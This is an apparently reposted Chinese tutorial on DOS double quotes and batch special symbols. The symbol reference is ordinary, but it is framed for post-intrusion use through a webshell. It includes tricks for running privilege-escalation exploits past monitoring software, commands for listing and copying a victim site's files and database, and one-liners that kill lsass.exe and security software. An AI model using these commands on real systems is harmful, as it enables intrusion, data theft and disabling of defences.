0×01缘由 0x02dos中双引号含义 0×03双引号的用法 0x04DOS中其他特殊符号 0×05附录 0×01缘由 昨天看见一贴记一次无聊的过程 有几个机油回帖询问文件幻数检测和双引号包含的问题,晴天大牛未予以解释。 这里就简单介绍下~~ 0x02dos中双引号含义 DOS中双引号”'是字符串界定符,这在批处理中常用到。但是dos中属于特殊命令字符。 双引号允许在字符串中包含空格,进入一个特殊目录可以用如下方法 cd “program files” cd progra~1 cd pro* 以上三种方法都可以进入program files这个目录 下面是其他的用法: 在表示带有空格的路径时常要用”'符号; 来将路径括起来,在一些命令里面也需要” “符号; 在for/f中将表示它们包含的内容当作字符串分析; 在for/f “usebackq”表示它们包含的内容当作文件路径并分析其文件的内容; 在其它情况下表示其中的内容是一个完整的字符串,其中的>、>>、<> 0×03双引号的用法 可以这样执行cmd命令但是执行提权exp时依然会访问拒绝。 一是、直接上传自动提权加账号的exp(免参数exp),设置终端路径为exp路径。 在执行命令那儿随意敲个字母,执行。就可以顺利执行exp。 二是、利用双引号包含突破监控软件 “”'c:\php\tmp\p.txt” “ver”'” 下面介绍同学们常常遇到空格路径无法执行的情况。 现在知道双引号包含就很简单,直接 “”'C:\Documents and Settings\All Users\Application Data\Microsoft\p.txt” “ver”'” 当然我常用的突破方法(为了是执行多个exp的方便)是: 执行exp时(C:\Documents and Settings\All Users\Application Data\Microsoft\) 会出现这样的情况: ‘C:\Documents’ 不是内部或外部命令,也不是可运行的程序或批处理文件。 解决办法是利用菜刀的交互shell切换到exp路径,如: Cd C:\Documents and Settings\All Users\Application Data\Microsoft 当然如果无法跳转的话,利用双引号包含。 Cd “C:\Documents and Settings\All Users\Application Data\Microsoft” 然后再执行exp或者cmd,就不会存在上面的情况了,aspshell一般是无法跳转目录的~~ 看图: 这个在【科普】windows虚拟主机提权手册中有所介绍。 0x04DOS中其他特殊符号 这些特殊符号想必机油们或多或少都遇到过,渗透中会起到强大的作用。 DOS中其他特殊符号(批处理常用): @ \\隐藏命令的回显。 ~ \\在for中表示使用增强的变量扩展; 在set中表示使用扩展环境变量指定位置的字符串; 在set/a中表示按位取反。 % \\使用两个%包含一个字符串表示引用环境变量。比如一个%time%可以扩展到当前的系统时间; 单个%紧跟0-9的一个数字表示引用命令行参数; 用于for中表示引用循环变量; 连续的两个%表示执行时脱为一个%。 ^ \\取消转义字符,即将所有转义字符的转义作用关闭。 比如要在屏幕显示一些特殊的字符,比如> >> | ^等时, 就可以在其前面加一个^符号来显示这个^后面的字符了,^^就是显示一个^,^|就是显示一个|字符了; 在set/a中是按位异; 在findstr/r的[]中表示不匹配指定的字符集。 & \\命令连接字符。比如我要在一行文本上同时执行两个命令,就可以用&命令连接这两个命令; 在set/a中是按位与。 * \\代表任意个任意字符,就是我们通常所说的”通配符”; 比如想在c盘的根目录查找c盘根目录里所有的文本文件(.txt),那么就可以输入命令”dir c:\*.txt”; 在set/a中是乘法。比如”set/a x=4*2″,得到的结果是8; 在findstr/r中表示将前一个字符多次匹配。 () \\命令包含或者是具有优先权的界定符吧,比如for命令要用到这个(),我们还可以在if,echo等命令中见到它的身影; - \\范围表示符,比如日期的查找,for命令里的tokens操作中就可以用到这个字符; 在findstr/r中连接两个字符表示匹配范围; -跟在某些命令的/后表示取反向的开关。 + \\主要是在copy命令里面会用到它,表示将很多个文件合并为一个文件,就要用到这个+字符了; 在set/a中是加法。 | \\管道符。就是将上一个命令的输出,作为下一个命令的输入.”dir /a/b | more”就可以逐屏的显示dir命令所输出的信息; 在set/a中是按位或; 在帮助文档中表示其前后两个开关、选项或参数是二选一的。 : \\标签定位符,可以接受goto命令所指向的标签。比如在批处理文件里面定义了一个”:begin”标签,用”goto begin”命令就可以转到”:begin”变迁后面来执行批处理命令了。 / \\表示其后的字符(串)是命令的功能开关(选项)。比如”dir /s/b/a-d”表示”dir”命令指定的不同的参数; 在set/a中表示除法。 > \\命令重定向符,将其前面的命令的输出结果重新定向到其后面的设备中去,后面的设备中的内容被覆盖。 比如可以用”dir > lxmxn.txt”将”dir”命令的结果输出到”lxmxn.txt”这个文本文件中去; 在findstr/r中表示匹配单词的右边界,需要配合转义字符\使用。 >> \\命令重定向符。将其前面的命令的输出结果重新定向到其后面的设备中去,后面设备中的内容没有被覆盖。 \\将其后面的文件的内容作为其前面命令的输入。 在findstr/r中表示匹配单词的左边界,需要配合转义字符\使用。 = \\赋值符号,用于变量的赋值。比如”set a=windows”的意思意思是将”windows”这个字符串赋给变量”a”; 在set/a中表示算术运算,比如”set /a x=5-6*5″。 \ \\这个”\”符号在有的情况下,代表的是当前路径的根目录.比如当前目录在c:\windows\system32下,那么你”dir \”的话,就相当与”dir c:\” 在findstr/r中表示正则转义字符。 ” 在for/f中表示将它们包含的内容当作命令行执行并分析其输出; 在for/f “usebackq”中表示将它们包含的字符串当作字符串分析。 . \\ 在路径的\后紧跟或者单独出现时: 一个.表示当前目录; 两个.表示上一级目录; 在路径中的文件名中出现时: 最后的一个.表示主文件名与扩展文件名的分隔。 && \\连接两个命令,当&&前的命令成功时,才执行&&后的命令; || \\连接两个命令,当||前的命令失败时,才执行||后的命令。 $ \\在findstr命令里面表示一行的结束。 “ 在for/f中表示它们所包含的内容当作命令行执行并分析它的输出。 [] 在帮助文档表示其中的开关、选项或参数是可选的; 在findstr/r中表示按其中指定的字符集匹配。 \\在findstr/r中表示在此位置匹配一个任意字符; 在路径中表示在此位置通配任意一个字符; 紧跟在/后表示获取命令的帮助文档。 ! \\当启用变量延迟时,使用!!将变量名扩起来表示对变量值的引用; 在set /a中表示逻辑非。比如set /a a=!0,这时a就表示逻辑1。 0×05附录 其实除了这些特殊符号,还有很多命令都值得掌握,比如for命令。 很多人都认为for命令只能在低权限下查看文件目录下的文件夹。 for /d %i in (d:\www\web\*) do @echo %i 其实它还有很多用法。如果运用起来效果极佳。 for /r d:\wwwroot\web\ %i in (*.asp) do @echo %i >>c:\windows\temp\1.txt ——这个是把 d:\wwwroot\web\目录所有asp文件 列出来 ,然后保存在c:\windows\temp\下的1.txt for /d %i in (d:\wwwroot\web\*) do @echo %i ——这句是显示d:\wwwroot\web 下所有文件,包括文件夹。 for /r d:\wwwroot\web\ %i in (*.*) do @echo %i >>d:\wwwroot\web1\1.txt ——*.* DOS下是所有的意思 也就是说显示d:\wwwroot\web1\所有文件,然后保存在d:\wwwroot\web1\1.txt *.*为任意后缀名,如果改成(*.exe)会把目录与下面的子目录的全部EXE文件列出 for /f %c in (d:\wwwroot\web\coon.asp) do @echo %c ——查看coon.ASP文件内容 for /d %i in (???) do @echo %i ——把当前路径下文件夹的名字只有1-3个字母的打出来 type F:\VIP\qq1369\database\#Collection.resx echo >>c:\windows\temp\1.mdb ——通过for或者type读取对方的数据库配置文件,但数据库修改了后缀名,例如为.resx 使我们不能下载,这时用type命令把数据库复制到c:\windows\temp\下面,然后下载! /c for /r F:\VIP\qq1369 %i in (*) do @echo %i 列出所有F:\VIP\qq1369文件 甚至在系统权限下: For /F “tokens=2,3*” %i in (‘tasklist /nh ^| find “lsass.exe”‘) do ntsd -c q -p %iFor /F “tokens=2,3*” %i in (‘tasklist /nh ^| find “lsass.exe”‘) do ntsd -c q -p %i 普通级别强杀“lsass.exe”进程。 For /f “tokens=1,2″ %%i in (‘tasklist’) do (echo %%i | findstr /i “stormliv.exe” 1>nul 2>nul && (ntsd -c q -p %%j & set qq=%%i)) 驱动级强行杀死所有名为“stormliv.exe”的进程(可以干掉网维等产品)。
|
|
来自: 祖国的老花朵k > 《dos 网络命令》